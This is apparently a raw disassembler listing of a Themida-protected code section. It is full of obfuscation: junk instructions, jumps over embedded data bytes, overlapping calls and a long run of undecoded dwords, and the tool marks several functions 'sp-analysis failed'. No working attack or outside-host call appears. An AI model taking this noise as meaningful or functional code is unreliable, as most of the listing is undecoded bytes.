		jmp	loc_5CE596	; CODE XREF: Themida_:005CE5DBj
; ---------------------------------------------------------------------------
		db 41h,	47h, 0F0h
		dd 64E68D0Eh, 2E173DBEh, 0EAE0B2D5h
		db 38h,	43h
; ---------------------------------------------------------------------------


loc_5CE596:				; CODE XREF: Themida_:005CE580j
		sbb	bh, 27h
		or	dl, 0D1h
		xor	di, 0A41Ah
		jmp	loc_5CE5AC
; ---------------------------------------------------------------------------
		dw 3646h
		dd 8CABC40Bh
; ---------------------------------------------------------------------------


loc_5CE5AC:				; CODE XREF: Themida_:005CE5A1j
		mov	edx, 24881F39h
		mov	eax, edi
		jmp	loc_5CE5C7
; ---------------------------------------------------------------------------
		dd 6427F937h, 625378E9h, 538C51DDh
; ---------------------------------------------------------------------------
		push	esi
		push	0Fh


loc_5CE5C7:				; CODE XREF: Themida_:005CE5B3j
		mov	si, dx
		jmp	loc_5CE5D5
; ---------------------------------------------------------------------------
		db 7Fh
		dd 0C25946AAh
		db 36h
; ---------------------------------------------------------------------------


loc_5CE5D5:				; CODE XREF: Themida_:005CE5CAj
		call	sub_5CE5E9
		xchg	eax, esp
		jg	short near ptr loc_5CE580+4
		dec	ebx
		lodsb
		popa
		dec	ebx
		xchg	eax, esi
		cdq
		retf
; ---------------------------------------------------------------------------
		mov	edi, 39E38D8Dh

; =============== S U B	R O U T	I N E =======================================



sub_5CE5E9	proc near		; CODE XREF: Themida_:loc_5CE5D5p
		pusha
		pusha
		popa
		movsx	esi, bx
		popa
		pop	edx
		jmp	loc_5CE5FC
; ---------------------------------------------------------------------------
		dw 742Ch
		dd 26ABD6E5h
; ---------------------------------------------------------------------------


loc_5CE5FC:				; CODE XREF: sub_5CE5E9+8j
		jmp	loc_5CE606
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		mov	dl, 0E4h
		test	bl, bl


loc_5CE606:				; CODE XREF: sub_5CE5E9:loc_5CE5FCj
		mov	bl, al
		jmp	loc_5CE618
; ---------------------------------------------------------------------------
		db 0E1h, 1Fh, 1
		dd 0C8B9595Fh, 0C5204D80h
; ---------------------------------------------------------------------------


loc_5CE618:				; CODE XREF: sub_5CE5E9+1Fj
		movzx	ebx, di
		jmp	loc_5CE628
; ---------------------------------------------------------------------------
		dd 393D80D8h, 0C05DA2FBh
; ---------------------------------------------------------------------------


loc_5CE628:				; CODE XREF: sub_5CE5E9+32j
		jmp	loc_5CE637
; ---------------------------------------------------------------------------
		db 42h,	0ACh, 8Eh
		dd 564C3747h
		db 7Dh,	58h, 3Bh
; ---------------------------------------------------------------------------


loc_5CE637:				; CODE XREF: sub_5CE5E9:loc_5CE628j
		pusha
		pusha
		jge	$+6
		mov	di, dx
		popa
		jmp	loc_5CE659
; ---------------------------------------------------------------------------
		dd 94CE339Fh, 0FF6158F3h, 458A38FBh, 0D3C4736Eh
; ---------------------------------------------------------------------------
		pop	edi


loc_5CE659:				; CODE XREF: sub_5CE5E9+5Aj
		popa
		xor	edi, 3A8976A4h
		jmp	loc_5CE66C
; ---------------------------------------------------------------------------
		db 60h,	2 dup(0FBh)
		dd 0A0EC8334h
; ---------------------------------------------------------------------------


loc_5CE66C:				; CODE XREF: sub_5CE5E9+77j
		stc
		jnb	loc_5CE685
		call	sub_5CE67E
		mov	al, ds:21FE3BFBh
		cld
sub_5CE5E9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CE67E	proc near		; CODE XREF: sub_5CE5E9+8Ap
		jge	$+6
		pop	ebx


loc_5CE685:				; CODE XREF: sub_5CE5E9+84j
		clc
		mov	ax, dx
		stc
		jle	loc_5CE692
		mov	eax, edx


loc_5CE692:				; CODE XREF: sub_5CE67E+Cj
		mov	ebx, ecx
		movsx	edx, di
		adc	ebx, 6A02C3CDh
		jmp	loc_5CE6B1
; ---------------------------------------------------------------------------
		xor	[edi-21FEC352h], ebx
		mov	ds:0D927546Bh, eax
		and	ebx, [esi-21h]
		stosb


loc_5CE6B1:				; CODE XREF: sub_5CE67E+1Fj
		movsx	edx, bx
		add	di, 0F75Ah
		mov	cl, 5Bh
		pusha
		mov	esi, 21B3C453h
		jns	loc_5CE6CA
		movsx	edi, si


loc_5CE6CA:				; CODE XREF: sub_5CE67E+43j
		popa
		jge	loc_5CE6E5
		jmp	loc_5CE6E5
; ---------------------------------------------------------------------------
		dw 96D5h
		dd 0D87BE5B3h, 0E0E4DE88h, 8A098FECh
; ---------------------------------------------------------------------------
		cld


loc_5CE6E5:				; CODE XREF: sub_5CE67E+4Dj
					; sub_5CE67E+53j
		jmp	loc_5CE6F3
; ---------------------------------------------------------------------------
		dw 5E2Bh
		dd 18F86697h
		db 15h,	82h, 33h
; ---------------------------------------------------------------------------


loc_5CE6F3:				; CODE XREF: sub_5CE67E:loc_5CE6E5j
					; sub_5CE67E+8Ej
		xor	dx, 0BBFEh
		mov	bx, 2FB9h
		mov	bx, 0ECC8h
		cld
		pusha
		call	near ptr loc_5CE70C+1
		add	eax, 0EABD592Bh


loc_5CE70C:				; CODE XREF: sub_5CE67E+84p
		jnb	short near ptr loc_5CE6F3+4
sub_5CE67E	endp ; sp-analysis failed

		or	al, 0
; ---------------------------------------------------------------------------
		dd 0A1A20000h, 0CA1E6D4Ah, 289EFDE2h, 0BF5ACEB1h, 6F788438h
		dd 5E861h, 0DFF10000h, 0FDBBCC7h, 0E85BFFB7h, 8, 7290D177h
		dd 0A9875146h, 9839D281h, 0F595DC7h, 481h, 61605200h, 56BB6658h
		dd 13E99Ah, 37DC0000h, 64AB9C4Bh, 0A54DEF2Dh, 0A8750B8Dh
		dd 76821620h, 0BAE6B017h, 4A9DAA56h, 18840Fh, 0E8500000h
		dd 10h,	0EE580AD2h, 37387EFEh, 5F640DB7h, 0DC1A8CC2h, 0B9665A5Eh
		dd 66605E6Dh, 7A60F181h, 0AE8h,	54D27500h, 66DEBA0Ch, 8A7BA001h
		dd 0E96158F7h, 0Dh, 60328312h, 30AAB95Bh, 2701571Eh, 4850F3Ch
		dd 66000000h, 80DDDCBEh, 3FB56EDDh, 5850Fh, 81660000h
		dd 8AF6ACF1h, 23C080DAh, 0DE9h,	0E360EA00h, 0BCB975A2h
		dd 833D92C5h, 0CA8AFB87h, 2A830Fh, 0DE80000h, 0D6000000h
		dd 7771AA30h, 4C873EAFh, 0F1807C06h, 12E9h, 7047C100h
		dd 7CF221DCh, 0B34D654Ch, 0B58D574Ah, 5A9061E3h, 33B850F8h
		dd 5918D78Ah, 7E9h, 0E21F2C00h,	27EBCEC0h, 0F8D68B66h
		dd 390BD681h, 10E877FCh, 1B000000h, 904F8C2Dh, 0F69FC960h
		dd 0B39CF318h, 0E982F08Bh, 5, 928469Bh,	0C7815FADh, 60DD99E3h
		dd 51C78166h, 0CA8166DBh, 5A529021h, 0E466C081h, 13E90F02h
		dd 6D000000h, 0BFAC290Ah, 6C360164h, 0AA260EBBh, 64F81297h
		dd 0B8601398h, 3A52DB7Ah, 61CE8B66h, 11E8h, 14990900h
		dd 4D9C156Ah, 3A683004h, 4A5E5454h, 0BF0F4D14h,	0FA8B59D3h
		dd 39BF6657h, 0AE85F0Dh, 20000000h, 0D8E53E9Dh,	2060B142h
		dd 0BF0F5F5Eh, 0E78166DBh, 0BB662E4Eh, 8B666577h, 820FF5C7h
		dd 6, 0DC4FDE81h, 0C68B074Bh, 0AB07BA66h, 0FE9h, 51608800h
		dd 0AB704C99h, 34B0FEE8h, 0FD36A026h, 14E9h, 0F37CC700h
		dd 95B52740h, 0F7EE836Eh, 7E0B20D3h, 60984BA3h,	0F18B6641h
		dd 68B0F52h, 81000000h,	85ED7C8h, 9E85B5Ch, 9D000000h
		dd 0C9A2FCAh, 7D21E180h, 5AC0B70Fh, 238E0Fh, 11E80000h
		dd 0D8000000h, 0E6CFB93h, 0CF4D49D1h, 43343BD9h, 0F122C414h
		dd 7E9h, 0B8A04800h, 8C62F0ABh,	8166F559h, 8AB413F0h, 0D3BF0FD4h
		dd 1A800Fh, 0E9600000h,	13h, 15B93C86h,	2A986529h, 0B4FD50DAh
		dd 8739316Ch, 61290181h, 0BE66D08Bh, 0E860E594h, 11h, 7BFFE136h
		dd 1372970Ah, 0E7A1D07h, 0E98B0AB7h, 11E9B5h, 0FEE30000h
		dd 9DBC3119h, 30CEB762h, 0A14A4DB2h, 587DD362h,	8C98061h
		dd 6616CA80h, 0F172D381h, 4CE2BF66h, 0BE852h, 0A38A0000h
		dd 6DBB2177h, 0D1E1D085h, 0DBB70FDAh, 8E85A5Bh,	2000000h
		dd 272884E3h, 0E9EC796Dh, 14h, 1D330446h, 0DCE9900Eh, 749C2668h
		dd 3421C615h, 0A225DA21h, 0BEF78B59h, 4CA27F52h, 70C8BB66h
		dd 0B6CB8166h, 66C28B7Ch, 0E963CFBAh, 12h, 4EEF18B2h, 0F07499A9h
		dd 76072635h, 486C7DC2h, 0F52AA2Ah, 8059D7BFh, 0D6818CE4h
		dd 616C05DFh, 4C53EF81h, 10E83B54h, 0B9000000h,	5AD351FAh
		dd 0D7627D50h, 0F2F87003h, 0B78FFD2Dh, 5B515FEFh, 7E8h
		dd 0B9F04800h, 56E72521h, 5E8h,	916F9800h, 5E5B7217h, 1DC88166h
		dd 8A0FFC0Ah, 0Dh, 8E9h, 9868500h, 13E18203h, 3A5CBABCh
		dd 41BB097Fh, 0E96F792Bh, 13h, 0D707FD75h, 242C214Eh, 0C94B32C4h
		dd 0BA1E9D40h, 0E9B59998h, 11h,	0C0E93CD6h, 7464844Fh
		dd 54E783DDh, 96CCC83h,	0DE8F9h, 0CB660000h, 36EEC0C2h
		dd 664898E3h, 665D64DBh, 0E959C78Bh, 0Ah, 54B1EE95h, 0E261C565h
		dd 800FEF22h, 3, 0B8C0B70Fh, 185DA7C4h,	9E8h, 53AADA00h
		dd 0D6E18F54h, 0F960E8CFh, 0BF665B61h, 0CE886E4h, 53000000h
		dd 6EBB0C03h, 65DB6DC9h, 0F43C822h, 0E85FFEB7h,	6, 0CB86D70Fh
		dd 5BFC3E22h, 16EE8151h, 5819C25Dh, 9E8h, 0FA17A900h, 55B3860Fh
		dd 8B66F954h, 0DF815FCFh, 782E2462h, 8F0Fh, 0B8660000h
		dd 0E860F39Ch, 13h, 473B42CAh, 0F447851Ah, 785F1A21h, 0CBABC179h
		dd 5A299CD1h, 6860Fh, 0DF810000h, 0E29D651h, 5FF85061h
		dd 0DA8B6052h, 0FE8h, 0E9819F00h, 0EBC7E413h, 724BED4Eh
		dd 21AE6ABFh, 605A6159h, 3820Fh, 8B660000h, 0DE861C2h
		dd 1000000h, 0FE5374B2h, 14D3AB09h, 23C6A714h, 0ACBEF560h
		dd 6157768Bh, 0DE96058h, 0DB000000h, 0D3A02996h, 0C262563Bh
		dd 0BED7B731h, 5870Fh, 81660000h, 615841C7h, 0E2816660h
		dd 7E981B3h, 46000000h,	70A98751h, 5061D82Eh, 0FC3DB866h
		dd 10E95Bh, 0E94D0000h,	0C6F964F7h, 88D4749Dh, 5D5B743Ah
		dd 0C68B93DFh, 0DE9h, 34E13D00h, 0B734361h, 0DC04A963h
		dd 14E9D375h, 82000000h, 0B3493F85h, 0BAAD9F86h, 8FD57D95h
		dd 0A6D3BD58h, 577BA58Bh, 5EE4C380h, 6301BB66h,	9E9h, 233A2100h
		dd 98CF0631h, 0B70F5594h, 10860FDFh, 0E9000000h, 0Bh, 4E175D23h
		dd 0BBA11561h, 668876EDh, 10E9FE8Bh, 2A000000h,	48C963EBh
		dd 0C915D9E1h, 0C89F3B3Ah, 0E98E64B6h, 0Dh, 0BD1157AEh
		dd 97264592h, 0DCD765FEh, 0CAF2819Eh, 0F3FB470h, 38Dh
		dd 0D78B6600h, 0F5F18B66h, 99BCF2BFh, 68B96601h, 5E875h
		dd 75850000h, 0F94E0502h, 810FF559h, 3,	0E9D38B66h, 11h
		dd 0F4C6EED0h, 0FBAE64D6h, 0D2035939h, 0D5F975E2h, 12E823h
		dd 7FFD0000h, 4016FE56h, 36EA7E20h, 604EB487h, 612EEBE7h
		dd 346CBF66h, 0C88B665Eh, 2870Fh, 0C78B0000h, 5E8h, 59BF3700h
		dd 6657E359h, 5E6F3EBEh, 0EE28058h, 66D68BFCh, 0B150FB8Bh
		dd 0AE959EEh, 4C000000h, 174B70ACh, 0F1CB8BBCh,	58F0F90h
		dd 66000000h, 552DD181h, 29BF95B3h, 0F9378F09h,	0DF81DEB2h
		dd 796EA866h, 3850Fh, 0F1800000h, 0D810FB3h, 0E9000000h
		dd 8, 44F408Bh,	0EA9DDAAh, 82CF8166h, 68C681B7h, 0F82189D3h
		dd 10E9h, 0A2C39B00h, 0C7D1E415h, 0D253A88Eh, 0F551492h
		dd 0B9D08BABh, 35C40C29h, 9E9h,	0E12F1700h, 0C5DC3476h
		dd 66F86972h, 60916CB9h, 0F8B70FF5h, 6097B461h,	6E9h, 0E6304200h
		dd 66870FE1h, 8DAAC081h, 0C3BF0F61h, 6658F853h,	24BAC68Bh
		dd 0E95F1EB4h, 0Ch, 8CE43A18h, 70318574h, 2ACB0E86h, 0F2C08166h
		dd 0C9816603h, 14E934DAh, 65000000h, 53EE074Eh,	0E8FFD898h
		dd 723B6FC2h, 576B54CFh, 0FDD47C4h, 148Ch, 0BE800h, 42DF0000h
		dd 0E9313C3Eh, 1A7075E3h, 0D38B66B8h, 0B70F6059h, 0CA8B66C6h
		dd 8E961h, 5100000h, 0E8BE6954h, 0AE88E9Bh, 4C000000h
		dd 4663320Ch, 0E42EC420h, 0E4EC8030h, 0B0D98A5Bh, 18F0F8Ah
		dd 0FC000000h, 3B39EF81h, 0FE81BD5h, 0D8000000h, 68CD2151h
		dd 50BC0EB1h, 262E56EFh, 66609ACAh, 8A1397BAh, 0B95E61C3h
		dd 71FC874Ch, 6056D78Bh, 0EE9h,	0F9955E00h, 827BB7B5h
		dd 0CE7F25A9h, 0E8178BE8h, 0Bh,	0FE82245h, 0A3B4EA04h
		dd 5F143BF9h, 66575B61h, 0F5ADA8Bh, 588h, 728BBE00h, 0D8B7252Ah
		dd 0FCD1B70Fh, 0FD2BF0Fh, 183h,	5FB4F500h, 3ADE981h, 0D58A2B5Eh
		dd 0B31A9EBAh, 880F576Ah, 2, 0E95BC4B5h, 0Ch, 9952ED7h
		dd 5F5BCE70h, 0DA4E0E33h, 0D281F88Ah, 271B9481h, 0E989DF80h
		dd 5
		dd 0C5355933h, 9E9B1h, 0E13B0000h, 0AC177BCAh, 0BE607B0Dh
		dd 373B6738h, 0F5695B7h, 282h, 58D38B00h, 0AE9h, 0DA8DBA00h
		dd 27D97379h, 0B373C204h, 0DF8051ADh, 0B70F5EFFh, 0FE9CEh
		dd 54160000h, 0F2DA7CE0h, 2E132B47h, 0DB8E98F9h, 0E7A8B9CCh
		dd 0CFBB0F47h, 0BB76F917h, 7575BB11h, 0CA45E381h, 0BA664D44h
		dd 0CF81EDD1h, 0A07FB51h, 6716F081h, 0BF0F1587h, 956BEF6h
		dd 8B66238Bh, 75D480C2h, 0F4AB6CB9h, 0E960B011h, 0Ch, 97DACB5Eh
		dd 7CAEDF02h, 2F2599E8h, 1E72ABB8h, 0E8F48A6Ah,	0Ch, 68B08280h
		dd 0F7B282BAh, 50423107h, 13E858F8h, 0B7000000h, 4F42D66Ah
		dd 7F8448F6h, 0E39B6D7h, 0F3CFE7B4h, 0DE913A5h,	0F6000000h
		dd 0CD298D23h, 0CD3D6C60h, 0E0D863ACh, 57A4B959h, 8B666530h
		dd 12E9F7h, 0DF810000h,	1684F197h, 4F7EFFBEh, 0CFEB56D2h
		dd 38E895B7h, 5FD38B56h, 0EE960h, 0B5D00000h, 0AB969D48h
		dd 0CFCC3466h, 0E2BC208Eh, 81666061h, 0BF3C78E3h, 2CAD0B31h
		dd 34B86661h, 0E8BBB205h, 12h, 4B94C68Eh, 0EB779D1Bh, 6119CE9Eh
		dd 8ED385EEh, 0BA662D1Ch, 665B16D6h, 0BE8F98Bh,	0D2000000h
		dd 0CF0227F7h, 0C10C1164h, 0F53B7C0h, 8Eh, 815B5800h, 679E24D0h
		dd 41D28155h, 0B21CFEB3h, 0F68166C5h, 8CB922C3h, 6061C0E9h
		dd 830FFB8Bh, 6, 8B0Fh,	0F610000h, 680h, 36F18100h, 0E838E704h
		dd 0Dh,	0DDF60AF8h, 246D881Dh, 9B3656A7h, 2850F0Ch, 50000000h
		dd 0BF0F5E5Bh, 0E85151CBh, 11h,	0EF1687B8h, 47C55B7Ch
		dd 8EFF8EB4h, 71026990h, 5A585E5Fh, 0DA8BF38Bh,	5E8h, 0DECF1C00h
		dd 77BF97E1h, 5B6D74A3h, 13E9h,	42B90300h, 5F89C888h, 0EE061E51h
		dd 0EB0F955Ch, 28CD61D6h, 39F2E681h, 8BF87832h,	118F0FF1h
		dd 0E9000000h, 0Ch, 0A6D9C003h,	31F21421h, 9A29E047h, 6E9EDB3h
		dd 0CD000000h, 0B9FCD4C8h, 66FD8A55h, 6784D281h, 0C554CEBBh
		dd 0A2F78012h, 0F6F68166h, 7AD981F5h, 8B1DBA26h, 42DB80DFh
		dd 0B8A0Fh, 8F0F0000h, 5, 97DB8166h, 0FBBF0FEBh, 6E8h
		dd 8D6F4400h, 813036BDh, 4FBDC5D8h, 0C8815811h,	6D5A43F0h
		dd 66D88B66h, 0F85360B9h, 2820Fh, 0CE8B0000h, 0BE9h, 0DF6E3900h
		dd 1851F13Ah, 5795B444h, 0FF4EE081h, 0FE86A4Bh,	45000000h
		dd 472C0AAEh, 9AC935B5h, 29B83E26h, 0BF0F7F82h,	0DA805EF6h
		dd 81F38B10h, 834830D0h, 11E81Bh, 64E00000h, 0AD1E8600h
		dd 0F7FB0CC3h, 0C87D4656h, 811B5AE4h, 0DF452EC9h, 8B665B0Ah
		dd 5CC680D7h, 8AF78166h, 76BAF960h, 66329B2Eh, 4574F281h
		dd 0C51565BAh, 14E829h,	579B0000h, 12E2B1F4h, 8C395415h
		dd 23CAB93Bh, 0AFE47B01h, 830FA905h, 4,	0D12B966h, 0D78B665Eh
		dd 0BE9h, 2A8C7200h, 0DD695566h, 0E8B6F4E6h, 0EE9h, 0C674F700h
		dd 0FD14BAA2h, 1FB789D0h, 8B299787h, 0E9FA8BD7h, 14h, 2A726C9Fh
		dd 86F04F6Ch, 2F6398Eh,	7C7F23C8h, 0D906A34Bh, 66D68166h
		dd 4A79BEFCh, 0BF0F0812h, 12E8F7h, 53060000h, 93032870h
		dd 1A1B3274h, 81A04771h, 0AC7FD364h, 5AE9EC80h,	0E358BEF8h
		dd 0DE90E00h, 15000000h, 43FD1972h, 838803EFh, 0C74355E0h
		dd 59EF281h, 0E8601493h, 14h, 0EE603FA6h, 61BD4696h, 15AD506Ah
		dd 6D446F45h, 43A3F628h, 665A6160h, 6661C78Bh, 2DBBD38Bh
		dd 526DCF89h, 0F5BE78Ah, 28Ah, 0FFB8B00h, 586h,	8CA9B800h
		dd 13E80CAEh, 8A000000h, 3D509AABh, 319BC149h, 0B224728Eh
		dd 4D2ABD19h, 0B9665A32h, 0E95A46E1h, 6, 0FD91750Ah, 0B70F850Bh
		dd 4890FF1h, 53000000h,	8A5FC68Bh, 0D840FFDh, 60000000h
		dd 8C0Fh, 41B80000h, 6179392Ch,	0FD3B70Fh, 8B66F3BFh, 0AE8D0h
		dd 297C0000h, 7D92055Eh, 4EE7E3Ch, 28690BBFh, 0FB8B5A3Ah
		dd 810Fh, 0BF0F0000h, 0CBB66D8h, 0C2816632h, 8D0F7132h
		dd 0
; ---------------------------------------------------------------------------
		jmp	loc_5CF386
; ---------------------------------------------------------------------------
		db 0A7h, 0Ah, 1Bh
		dd 0A195F6B2h, 0FECFBC3Bh
		db 6Dh,	4Ah
; ---------------------------------------------------------------------------


loc_5CF386:				; CODE XREF: Themida_:005CF374j
		jmp	loc_5CF390
; ---------------------------------------------------------------------------
		db 3Eh
		dd 7B966D32h
; ---------------------------------------------------------------------------


loc_5CF390:				; CODE XREF: Themida_:loc_5CF386j
		mov	ebx, 21A60F9Bh
		clc
		adc	dl, 0ABh
		jns	loc_5CF3B3
		jmp	loc_5CF3B3
; ---------------------------------------------------------------------------
		dd 0A5EC56FDh, 69EBA836h, 0CE72B1Bh
		db 0FFh, 0BCh, 53h
; ---------------------------------------------------------------------------


loc_5CF3B3:				; CODE XREF: Themida_:005CF399j
					; Themida_:005CF39Fj
		or	edi, 10D4FF49h
		adc	ecx, 6552275Bh
		adc	cl, 0AEh
		or	di, 4463h
		call	sub_5CF3DD
		jecxz	short near ptr sub_5CF41B+1
		adc	eax, 0D839C818h
		stosw
		setalc
		and	[ebx+esi*2-26h], esp
		scasd
		fstp	tbyte ptr [edi]

; =============== S U B	R O U T	I N E =======================================



sub_5CF3DD	proc near		; CODE XREF: Themida_:005CF3C7p
		pop	ebx
		movzx	eax, ax
		jmp	loc_5CF3F7
; ---------------------------------------------------------------------------
		sahf
		or	[ebx], ecx
		adc	[ecx], ecx
		xchg	eax, esp
		xchg	eax, esp
		icebp
		imul	esi, [edx], -8
		add	al, 7Dh
		push	cs
		xor	[edx+26h], dh


loc_5CF3F7:				; CODE XREF: sub_5CF3DD+4j
		adc	bh, 33h
		mov	edx, ebx
		jmp	loc_5CF410
; ---------------------------------------------------------------------------
		mov	ecx, 0AD5B68Bh
		mov	eax, ds:2E8F7BA2h
		cmp	eax, 0A0A99707h


loc_5CF410:				; CODE XREF: sub_5CF3DD+1Fj
		call	near ptr sub_5CF41B
		inc	eax
		inc	ebp
		in	al, dx
		and	ah, 94h
sub_5CF3DD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CF41B	proc far		; CODE XREF: sub_5CF3DD:loc_5CF410p
					; Themida_:005CF3CCj

; FUNCTION CHUNK AT 005CF4A3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005CF4AE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005CF4C7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005CF4E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005CF4F7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005CF516 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005CF54E SIZE 0000003C BYTES

		mov	bx, 1D69h
		pop	edi
		jmp	loc_5CF437
; ---------------------------------------------------------------------------
		db 21h,	0D1h, 9Ah
; ---------------------------------------------------------------------------
		sahf
		scasd
		fcomip	st, st(5)
		and	eax, 35EFC573h
		sti
		mov	esi, 3C43DC0Ah


loc_5CF437:				; CODE XREF: sub_5CF41B+5j
		mov	esi, 41758465h
		jmp	loc_5CF448
; ---------------------------------------------------------------------------
		db 45h,	16h, 9Dh
		dd 83660004h
; ---------------------------------------------------------------------------


loc_5CF448:				; CODE XREF: sub_5CF41B+21j
		mov	di, 98D4h
		mov	ebx, eax
		mov	ax, si
		mov	ax, 5D6Ch
		jmp	loc_5CF46B
; ---------------------------------------------------------------------------
		dw 4560h
		db 0CCh
		db 8Eh,	0A7h, 90h
		dd 87386E48h, 0A7FF3D96h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0FDh, 0Dh
; ---------------------------------------------------------------------------


loc_5CF46B:				; CODE XREF: sub_5CF41B+3Aj
					; sub_5CF41B+7Aj
		mov	di, 0A799h
		mov	di, 9AF8h
		jmp	loc_5CF47E
; ---------------------------------------------------------------------------
		dd 5C7778CDh
		db 8Ch,	6Ch
; ---------------------------------------------------------------------------


loc_5CF47E:				; CODE XREF: sub_5CF41B+58j
		mov	dx, ax
		jg	loc_5CF4A3
		pusha
		mov	di, 23EBh
		call	near ptr loc_5CF49D+4
		cmp	[ecx], ebx
		sub	al, cl
		jbe	short loc_5CF46B
		sar	byte ptr [ebp+3C3D1515h], cl


loc_5CF49D:				; CODE XREF: sub_5CF41B+71p
		mov	esi, 5BAA9A45h
sub_5CF41B	endp ; sp-analysis failed

		popa
; START	OF FUNCTION CHUNK FOR sub_5CF41B


loc_5CF4A3:				; CODE XREF: sub_5CF41B+66j
		jmp	loc_5CF4AE
; END OF FUNCTION CHUNK	FOR sub_5CF41B
; ---------------------------------------------------------------------------
		dd 0A3F2BEB3h
		db 9Fh,	0E0h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CF41B


loc_5CF4AE:				; CODE XREF: sub_5CF41B:loc_5CF4A3j
		or	dh, 0E3h
		mov	ecx, 1813A9B4h
		jmp	loc_5CF4C7
; END OF FUNCTION CHUNK	FOR sub_5CF41B
; ---------------------------------------------------------------------------
		db 3
		dd 0E9261FD0h, 0B335171Ah
		db 32h,	0B0h, 38h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CF41B


loc_5CF4C7:				; CODE XREF: sub_5CF41B+9Bj
		mov	edi, 33051BFFh
		jnb	loc_5CF4D7
		mov	edi, 4849968Eh


loc_5CF4D7:				; CODE XREF: sub_5CF41B+B1j
		jmp	loc_5CF4E7
; END OF FUNCTION CHUNK	FOR sub_5CF41B
; ---------------------------------------------------------------------------
		dd 707B7D4Bh, 4B6BB8E0h
; ---------------------------------------------------------------------------
		rcl	cl, 2Bh
; START	OF FUNCTION CHUNK FOR sub_5CF41B


loc_5CF4E7:				; CODE XREF: sub_5CF41B:loc_5CF4D7j
		jmp	loc_5CF4F7
; END OF FUNCTION CHUNK	FOR sub_5CF41B
; ---------------------------------------------------------------------------
		dd 13AE6C9Bh, 1E889823h
		db 0BFh, 66h, 10h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CF41B


loc_5CF4F7:				; CODE XREF: sub_5CF41B:loc_5CF4E7j
		js	$+6
		sub	bx, 6E61h
		mov	edx, eax
		clc
		push	ecx
		movzx	ebx, cx
		pop	eax
		pusha
		jmp	loc_5CF516
; END OF FUNCTION CHUNK	FOR sub_5CF41B
; ---------------------------------------------------------------------------
		retn	3EDEh
; ---------------------------------------------------------------------------
		db 0A0h
		db 1Eh,	0C7h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CF41B


loc_5CF516:				; CODE XREF: sub_5CF41B+F0j
		mov	edi, 45E48D1Bh
		popa
		pusha
		ja	loc_5CF529
		jb	$+6


loc_5CF529:				; CODE XREF: sub_5CF41B+102j
		and	ebx, 2C5A927Eh
		popa
		add	edi, 14677BECh
		pusha
		movzx	ebx, bx
		push	eax
		jmp	loc_5CF54E
; END OF FUNCTION CHUNK	FOR sub_5CF41B
; ---------------------------------------------------------------------------
		inc	esi
		inc	byte ptr [esi-390D8C04h]
		sbb	bl, 0CEh
		int	3		; Trap to Debugger
		leave
		inc	ebx
		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_5CF41B


loc_5CF54E:				; CODE XREF: sub_5CF41B+120j
		pop	ebx
		popa
		jg	loc_5CF55B
		pusha
		and	bh, 31h
		popa


loc_5CF55B:				; CODE XREF: sub_5CF41B+135j
		pusha
		stc
		mov	al, 0E9h
		popa
		movzx	ecx, cx
		jnp	loc_5CF56C
		movsx	edx, ax


loc_5CF56C:				; CODE XREF: sub_5CF41B+148j
		mov	esi, 0D16F362h
		sub	ebx, 76D88676h
		and	ebx, 773C2C8Eh
		call	sub_5CF58A
		out	dx, eax
		push	ebx
		or	eax, [ebx+5271075h]
; END OF FUNCTION CHUNK	FOR sub_5CF41B

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5CF58A	proc near		; CODE XREF: sub_5CF41B+162p
		jmp	sub_5CF59C
sub_5CF58A	endp

; ---------------------------------------------------------------------------
		db 0AAh
		dd 0E47D0A39h, 0A8B22DB9h, 0F0F4D807h

; =============== S U B	R O U T	I N E =======================================



sub_5CF59C	proc near		; CODE XREF: sub_5CF58Aj
		pop	ecx
		push	ecx
		cld
		pop	esi
		sub	eax, 490E04D9h
		call	sub_5CF5B5
		clc
		jno	short near ptr loc_5CF5FF+4
		fidiv	dword ptr [ecx+7]
		fist	dword ptr [edi+34h]
		iret
sub_5CF59C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CF5B5	proc near		; CODE XREF: sub_5CF59C+Ap
		stc
		pop	edi
		call	near ptr loc_5CF5CA+4
		inc	edx
		add	al, 7Fh
		push	edi
		call	near ptr 5A88E6AFh
		cmp	[ebx+22h], dl
		mov	dh, 9Eh


loc_5CF5CA:				; CODE XREF: sub_5CF5B5+2p
		rcr	dword ptr [ecx-749F8092h], cl
sub_5CF5B5	endp ; sp-analysis failed

		idiv	dword ptr [edx+4D7E453Dh]
		popa
		pop	esi
		pusha
		mov	cx, 0B68Bh
		call	near ptr loc_5CF5E9+4
		add	ch, [eax]
		and	eax, 69E46D48h


loc_5CF5E9:				; CODE XREF: Themida_:005CF5DDp
		not	dword ptr cs:[ebx+0A0DBE88h]
		mov	edx, 0B2615A5Eh
		movsd
		and	edx, 59BF9B5h
		mov	cx, di


loc_5CF5FF:				; CODE XREF: sub_5CF59C+10j
		jbe	loc_5CF60A


loc_5CF605:				; CODE XREF: Themida_:005CF617j
		mov	ecx, 25307045h


loc_5CF60A:				; CODE XREF: Themida_:loc_5CF5FFj
		jmp	loc_5CF61C
; ---------------------------------------------------------------------------
		align 10h
		adc	edi, ds:5A1A1A5Ah
		icebp
		jno	short loc_5CF605
		push	cs
		push	ecx
		pop	ds


loc_5CF61C:				; CODE XREF: Themida_:loc_5CF60Aj
		jle	loc_5CF625
		sbb	bh, 0ECh


loc_5CF625:				; CODE XREF: Themida_:loc_5CF61Cj
		jns	loc_5CF62E
		mov	bx, ax


loc_5CF62E:				; CODE XREF: Themida_:loc_5CF625j
		jl	$+6
		clc
		mov	ax, 0D821h
		adc	cl, 0B5h
		mov	edi, 59F2A131h
		adc	edi, 73E0B580h
		adc	cx, 4CB3h
		movsx	ebx, di
